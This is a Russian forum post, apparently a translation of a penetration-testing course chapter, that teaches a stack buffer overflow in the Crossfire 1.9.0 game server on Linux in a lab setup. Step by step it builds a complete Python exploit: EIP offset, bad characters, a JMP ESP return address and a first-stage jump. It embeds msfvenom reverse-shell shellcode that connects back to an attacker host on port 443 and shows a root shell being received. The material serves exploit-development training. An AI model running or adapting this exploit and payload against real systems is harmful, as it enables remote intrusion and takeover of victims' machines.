disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 12. Переполнение буфера в Linux. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.
Вступление
В этой главе будет рассказанно о переполнении буфера в Linux с помощью Crossfire, сетевой многопользовательской ролевой игры на базе Linux.
В частности, Crossfire 1.9.0
Ссылка скрыта от гостей
при передаче строки размером более 4000 байтов в команду setup sound. Для отладки приложения будем использовать Evans Debugger (EDB), написанный Эваном Тераном, который предоставляет среду отладки, очень похожую на
Ссылка скрыта от гостей
.Об DEP, ASLR и Canaries
В последних ядрах и компиляторах Linux реализованы различные методы защиты памяти, такие как
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
, и метод защиты от разрушения стека
Ссылка скрыта от гостей
.Поскольку обход этих механизмов защиты выходит за рамки данной главы, имеющаяся тестовая версия Crossfire была скомпилирована без защиты от разрушения стека (stack canaries), ASLR и DEP.
Воспроизведение аварийного завершения работы
Тестовая среда будет состоять из специального лабораторного клиента Linux Debian, где будет запускаться и отлаживаться уязвимое приложение, и Kali Linux, где будет запускаться удаленный эксплойт.
Чтобы воспроизвести аварийное завершение работы, сначала с помощью команды rdesktop подключимся к выделенному клиенту Debian Linux. После подключения запустим root терминал через меню System Tools и запустим Crossfire:
Bash:
root@debian:~# cd /usr/games/crossfire/bin/
root@debian:/usr/games/crossfire/bin# ./crossfire
...
Welcome to CrossFire, v1.9.0
Copyright (C) 1994 Mark Wedel.
Copyright (C) 1992 Frank Tore Johansen.
---------registering SIGPIPE
Initializing plugins
Plugins directory is /usr/games/crossfire/lib/crossfire/plugins/
-> Loading plugin : cfanim.so
CFAnim 2.0a init
CFAnim 2.0a post init
Waiting for connections...
Листинг 1 - Запуск уязвимого приложения через терминал
После запуска Crossfire он будет принимать входящие сетевые соединения. Затем запустим отладчик EDB, выполнив команду edb:
Bash:
root@debian:~# edb
Starting edb version: 0.9.22
Please Report Bugs & Requests At: https://github.com/eteran/edb-debugger/issues
comparing versions: [2325] [2326]
Листинг 2 - Запуск отладчика через терминал
Структура EDB аналогична другим популярным инструментам отладки, как показано на рисунке 1:
Рисунок 1: Интерфейс EDB
Чтобы увидеть доступные процессы, включая PID и владельца, выберем Attach в меню File. Затем можно использовать параметр фильтра для поиска определенного процесса, которым в данном случае является crossfire. Выберите его и нажмите ОК, чтобы присоединиться к нему:
Рисунок 2: EDB - Окно присоединяемых процессов
При первичном подключении к процессу он будет приостановлен. Чтобы запустить его, просто нажимаем кнопку Run. В зависимости от того, как приложение работает в отладчике, перед запуском приложения может возникнуть дополнительная точка останова. В таких случаях просто нужно еще раз нажать кнопку Run.
Рисунок 3: Присоединение приложения в отладчике
После того, как подключили отладчик к приложению Crossfire, будем использовать следующий код подтверждения работоспособности (PoC-код), который был создан на основе информации из общедоступного эксплойта:
Python:
#!/usr/bin/python
import socket
host = "10.11.0.128"
crash = "\x41" * 4379
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
Листинг 3 - PoC-код аварийного завершения работы приложения Crossfire
Обратите внимание, что для переменной buffer требуются определенные шестнадцатеричные значения в начале и в конце, а также строка "setup sound", чтобы приложение могло аварийно завершить работу.
Первоначальный PoC-код аварийного завершения работы создает вредоносную строку buffer, включающую команду "setup sound", подключается к удаленной службе через порт 13327 и отправляет содержимое переменной buffer. Чтобы вызвать ошибку в работе Crossfire, можно выполнить PoC-код с помощью python:
Bash:
kali@kali:~$ python poc_01.py
[*]Sending evil buffer...
#
[*]Payload Sent !
Листинг 4 - Запуск PoC-код аварийного завершения работы из Kali
После запуска скрипта отладчик отображает следующее сообщение об ошибке, четко указывающее на наличие повреждения памяти в команде setup sound, вероятно, это условие переполнения буфера:
Рисунок 4: Сбой, указывающий на переполнение буфера
Нажав кнопку OK, обнаруживаем, что регистр EIP был перезаписан содержимым нашей переменной buffer.
Управление регистром EIP
Cледующая задача - определить, какие четыре байта в переменной buffer в конечном итоге перезаписывают адрес возврата уязвимой функции, чтобы управлять регистром EIP. Будем использовать скрипт Metasploit msf-pattern_create для создания уникальной строки для buffer:
Bash:
kali@kali:~$ msf-pattern_create -l 4379
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6A
...
Листинг 5 - Создание уникальной строки буфера с помощью msf-pattern_create
Заменив исходное значение buffer на это новое и уникальное и снова запустив PoC-скрипт, вызываем аварийной завершение отлаженного приложения, на этот раз перезаписывая EIP следующими байтами:
Рисунок 5: Аварийное завершение приложения с использованием уникальной строки буфера
Передача этого значения в скрипт Metasploit msf-pattern_offset показывает следующее смещение буфера для этих конкретных байтов:
Bash:
kali@kali:~$ msf-pattern_offset -q 46367046
[*] Exact match at offset 4368
Листинг 6 - Получение смещения перезаписи
Чтобы подтвердить это смещение, обновим переменную crash в нашем PoC-коде, чтобы полностью перезаписать EIP четырьмя символами "B".
Python:
crash = "\x41" * 4368 + "B" * 4 + "C" * 7
Листинг 7 - Управление регистром EIP
Определение места для нашего шелл-кода
Определение места для нашего шелл-кода
Теперь необходимо определить, есть ли какие-либо регистры, указывающие на наш буфер во время аварийного завершения. Этот шаг важен, так как позволяет впоследствии попытаться идентифицировать возможные инструкции JMP или CALL, которые могут перенаправить поток выполнения в наш буфер.
Отметим, что регистр ESP (рис. 6) указывает на конец нашего буфера, оставляя только семь байтов для шелл-кода. Более того, нет возможности увеличить размер буфера переполнения, пытаясь получить больше места; даже увеличение на один байт приводит к другому сбою, который не перезаписывает EIP должным образом.
Рисунок 6: ESP указывает на конец нашего буфера, оставляя только 7 байтов для шелл-кода.
Более пристальный взгляд на состояние наших регистров во время сбоя (рис. 6) открывает больше подробностей. Похоже, что регистр EAX указывает на начало нашего буфера, включая строку "setup sound".
Тот факт, что EAX указывает непосредственно на начало командной строки, может повлиять на нашу способность просто перейти к буферу, на который указывает EAX, поскольку выполняется шестнадцатеричный код операций, эквивалентный строке ASCII "setup sound" перед шелл-кодом. Это, скорее всего, исказит путь выполнения и приведет к нарушению работы эксплойта. Или нет?
Дальнейшее изучение фактических кодов операций, генерируемых строкой "setup sound", показывает следующие инструкции:
Рисунок 7: Инструкции, генерируемые строковыми кодами операций "setup sound"
Интересно, кажется, что инструкции кода операции s (\x73) и e (\x65), две первые буквы слова "setup", переводятся в инструкцию условного перехода, которая, вероятно, переходит в соседнее место в управляемом буфере. Следующие две буквы слова setup, t (\x74) и u (\x75), переводятся в несколько другой условный переход. Вероятно, что все эти переходы ведут в контролируемый буфер, поэтому в этом случае переход к EAX может действительно сработать. Однако это не изящное решение, так что давайте постараемся поработать лучше.
Продолжаем анализ, и, похоже, регистр ESP указывает на конец нашего уникального буфера во время аварийного завершения, но это дает нам только несколько байтов пространства шелл-кода для работы. Можно попытаться использовать ограниченное пространство, которое есть в наличии, для создания первичного шелл-кода. Вместо фактического пэйлоада, такого как обратный шелл, этот первичный шелл-код будет использоваться для корректировки регистра EAX, чтобы он указывал на наш буфер сразу после строки "setup sound", а затем переходил в указанное расположение, позволяя пропускать условные переходы. Для этого первичный шеллкод должен увеличить значение EAX на 12 (\x0C) байт, поскольку в строке "setup sound" 12 символов. Это можно сделать с помощью инструкции соединения ADD, а затем перейти к памяти, на которую указывает EAX, с помощью инструкции JMP.
Рисунок 8: Количество байтов, необходимое для корректировки EAX
Чтобы получить правильные коды операций для наших инструкций, используем утилиту msf-nasm_shell от Metasploit.
Bash:
kali@kali:~$ msf-nasm_shell
nasm > add eax,12
00000000 83C00C add eax,byte +0xc
nasm > jmp eax
00000000 FFE0 jmp eax
Листинг 8 - Получение кодов операций первичного шелл-кода
К счастью, эти два набора инструкций (\x83\xc0\x0c\xff\xe0) занимают всего 5 байт памяти. Можно обновить PoC-код, включив превичный шелл-код и несколько раз дополнив исходный буфер значением NOP (\x90), чтобы сохранить правильную длину.
Python:
#!/usr/bin/python
import socket
host = "10.11.0.128"
padding = "\x41" * 4368
eip = "\x42\x42\x42\x42"
first_stage = "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " + padding + eip + first_stage + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
Листинг 9 - Добавление первичного пэйлоада
После запуска обновленного PoC-кода можно убедиться, что регистр EIP перезаписан четырьмя B и что первичный шеллкод расположен по адресу памяти, указанному регистром ESP:
Рисунок 9: Подтверждение, что ESP указывает на начало первичного шеллкода
Проверка на плохие символы
Проверка на плохие символы
Чтобы обнаружить любые плохие символы, которые могут нарушить переполнение или повредить шелл-код, можно использовать тот же подход, что и в модуле переполнения буфера Windows.
Был отправлен весь диапазон символов от 00 до 0F в нашем буфере, а затем отслеживалось, были ли какие-либо из этих байтов искажены, переставлены, отброшены или изменены в памяти после того, как они были обработаны приложением.
После многократного запуска PoC-кода и исключения одного плохого символа за раз, был составлен окончательный список плохих символов для приложения Crossfire, в который вошли только \x00 и \x20.
Поиск адреса возврата
В качестве последнего шага нужно найти допустимую команду ассемблера для перенаправления выполнения кода в область памяти, на которую указывает регистр ESP. Отладчик EDB поставляется с набором плагинов, один из которых называется OpcodeSearcher.
Рисунок 10: OpcodeSearcher плагин для EDB
Используя этот плагин, можно легко найти инструкцию JMP ESP или её эквивалент в той области памяти, куда отображается часть кода приложения crossfire:
Рисунок 11: Поиск произвольных команд ассемблера с помощью EDB
Было принято решение использовать первую найденную отладчиком инструкцию JMP ESP (0x08134596, рис. 11). Объединив оффсет перезаписи (padding), адрес возврата (eip) и первичного шеллкод вместе получаем следующий PoC-код:
Python:
#!/usr/bin/python
import socket
host = "10.11.0.128"
padding = "\x41" * 4368
eip = "\x96\x45\x13\x08"
first_stage = "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " + padding + eip + first_stage + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
Листинг 10 - Добавление адреса возврата в PoC-код
Перед запуском PoC-кода перезапускаем приложение и снова присоединяем к нему отладчик. Вместо того, чтобы просто позволить процессу Crossfire работать, устанавливаем точку останова на нужном адресе инструкции JMP ESP, используя плагин EDB Breakpoint Manager. Это поможет подтвердить, что EIP перезаписан надлежащим образом.
Рисунок 12: Установка точки останова в EDB
Установив точку останова, можно запустить PoC-код, и если все пойдет по плану, то отладчик должен остановиться на инструкции JMP ESP.
Рисунок 13: Попадание в точку останова в отладчике
Точка останова достигнута, и теперь переходим к пошаговому выполнению инструкции JMP ESP и далее переходим к нашему первичному шеллкоду.
Рисунок 14: Выход на наш first stage шеллкод в памяти
После выполнения первой инструкции обнаруживаем, что регистр EAX теперь указывает на начало нашего управляемого буфера сразу после строки "setup sound".
Рисунок 15: EAX указывает на начало нашего буфера символов A
После того, как регистр EAX будет изменён первичным шеллкодом, инструкция JMP EAX переносит нас в красивый чистый буфер символов A:
Рисунок 16: Перенаправление выполнения в начало нашего буфера после строки "setup sound"
Получение шелла
Получение шелла
Все, что осталось сделать, это поместить пэйлоад в начало буфера символов A, доступного через первичный шелл-код. Решено использовать reverse-шелл в качестве пэйлоада и сгенерировать его с помощью msfvenom. Устанавливаем флаг -p, чтобы указать пэйлоад, за которым следуют значения LHOST и LPORT соответственно. Также указываем недопустимые символы, которых следует избегать, с помощью флага -b, формат вывода с помощью -f и имя переменной для использования с помощью -v.
Bash:
kali@kali:~$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 470 bytes
shellcode = ""
shellcode += "\xbe\x35\x9e\xa3\x7d\xd9\xe8\xd9\x74\x24\xf4\x5a\x29"
shellcode += "\xc9\xb1\x12\x31\x72\x12\x83\xc2\x04\x03\x47\x90\x41"
shellcode += "\x88\x96\x77\x72\x90\x8b\xc4\x2e\x3d\x29\x42\x31\x71"
shellcode += "\x4b\x99\x32\xe1\xca\x91\x0c\xcb\x6c\x98\x0b\x2a\x04"
shellcode += "\xb7\xfc\xb8\x46\xaf\xfe\x40\x67\x8b\x76\xa1\xd7\x8d"
shellcode += "\xd8\x73\x44\xe1\xda\xfa\x8b\xc8\x5d\xae\x23\xbd\x72"
shellcode += "\x3c\xdb\x29\xa2\xed\x79\xc3\x35\x12\x2f\x40\xcf\x34"
shellcode += "\x7f\x6d\x02\x36"
Листинг 11 - Создание пэйлоада reverse-шелла Linux с помощью msfvenom
Как упоминалось выше, пэйлоад будет размещен в начале буфера. Это означает, что необходимо принять во внимание размер пэйлоада и дополнить его правильным количеством символов "A". Это гарантирует, что будет сохранено исходное смещение, чтобы перезаписать регистр EIP желаемыми байтами. Итоговый PoC-код реализует пэйлоад и соответствующим образом регулирует размер буфера:
Python:
#!/usr/bin/python
import socket
host = "10.11.0.128"
nop_sled = "\x90" * 8 # NOP sled
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py
shellcode = ""
shellcode += "\xbe\x35\x9e\xa3\x7d\xd9\xe8\xd9\x74\x24\xf4\x5a\x29"
shellcode += "\xc9\xb1\x12\x31\x72\x12\x83\xc2\x04\x03\x47\x90\x41"
shellcode += "\x88\x96\x77\x72\x90\x8b\xc4\x2e\x3d\x29\x42\x31\x71"
shellcode += "\x4b\x99\x32\xe1\xca\x91\x0c\xcb\x6c\x98\x0b\x2a\x04"
shellcode += "\xb7\xfc\xb8\x46\xaf\xfe\x40\x67\x8b\x76\xa1\xd7\x8d"
shellcode += "\xd8\x73\x44\xe1\xda\xfa\x8b\xc8\x5d\xae\x23\xbd\x72"
shellcode += "\x3c\xdb\x29\xa2\xed\x79\xc3\x35\x12\x2f\x40\xcf\x34"
shellcode += "\x7f\x6d\x02\x36"
padding = "\x41" * (4368 - len(nop_sled) - len(shellcode))
eip = "\x96\x45\x13\x08" # 0x08134596
first_stage = "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " + nop_sled + shellcode + padding + eip + first_stage + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
Листинг 12 - Финальный эксплойт для приложения Crossfire
Перезапускаем приложение Crossfire и запускаем эксплойт с подключенным отладчиком. На атакующей машине получаем соединение с Netcat листенером, но шелл, похоже, завис:
Bash:
kali@kali:~$ sudo nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.128] 40542
id
whoami
Листинг 13 - Reverse-шелл завис
Возвращаясь к окну отладчика, оказывется, что приложение приостановлено, и когда пытаемся запустить его, получаем сообщение о событии отладки:
Рисунок 17: EDB - событие отладки
Простое нажатие OK на событии и возврат к нашему Netcat листенеру решает проблему. Однако каждый раз, когда запускаем команду, необходимо повторять процесс.
Это связано с тем, что отладчик улавливает события
Ссылка скрыта от гостей
, генерируемые, когда что-то происходит с порожденным потомком из нашего reverse-шелла, например, завершение процесса, сбой, остановка и т.д.Чтобы убедиться, что эксплойт работает должным образом, перезапускаем приложение Crossfire и запускаем его без подключенного отладчика:
Bash:
kali@kali:~$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.128] 40544
whoami
root
Листинг 14 - Рабочая reverse-шелл с Linux-машины
Как и ожидалось, запуск приложения без подключенного отладчика дает работающий reverse-шелл с машины жертвы.
Заключение
В этой главе был рассмотрен процесс использования уязвимости переполнения буфера в операционной системе Linux. Подобно эксплойту, используемому в главе переполнения буфера Windows, получилось отладить аварийное завершение работы в уязвимом приложении и написать для него полностью рабочий эксплойт.
Последнее редактирование: